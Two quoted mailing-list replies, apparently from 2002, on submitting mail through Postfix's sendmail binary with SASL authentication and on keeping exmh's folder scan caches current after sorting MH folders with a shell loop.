> hardcoded into the sendmail.cf (and damned if I can work out how to do
> that anyway).
Postfix provides a binary called /usr/sbin/sendmail that does the right
thing. Which, presumably involves sticking your outgoing going message
in the right queue. Then you need your postfix SMTP client to
authenticate with your postfix SMTP server. Are you using SASL? If so,
I remember seeing documentation on how to configure the postfix SMTP
client to authenticate.
Nick
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There is an "Update all scan caches" menu entry that rescans your
folders similar to the short scripts folks have shared around. It
runs in the background.
>>>Rick Baartman said:
> > > On Mon, 9 Sep 2002, Rick Baartman wrote:
> > Thanks Tom and Jacob. The above works, but without the double quotes:
i.e.
> >
> > sh -c 'for f in `folders -recurse -fast` ; do sortm +"$f" ; done'
> >
> But there is a problem with making changes outside of exmh: the
.xmhcache fi
les
> don't get updated. This is dangerous; I have to remember to re-scan each
fol
der
> I enter. Is there a safeguard for this?
>
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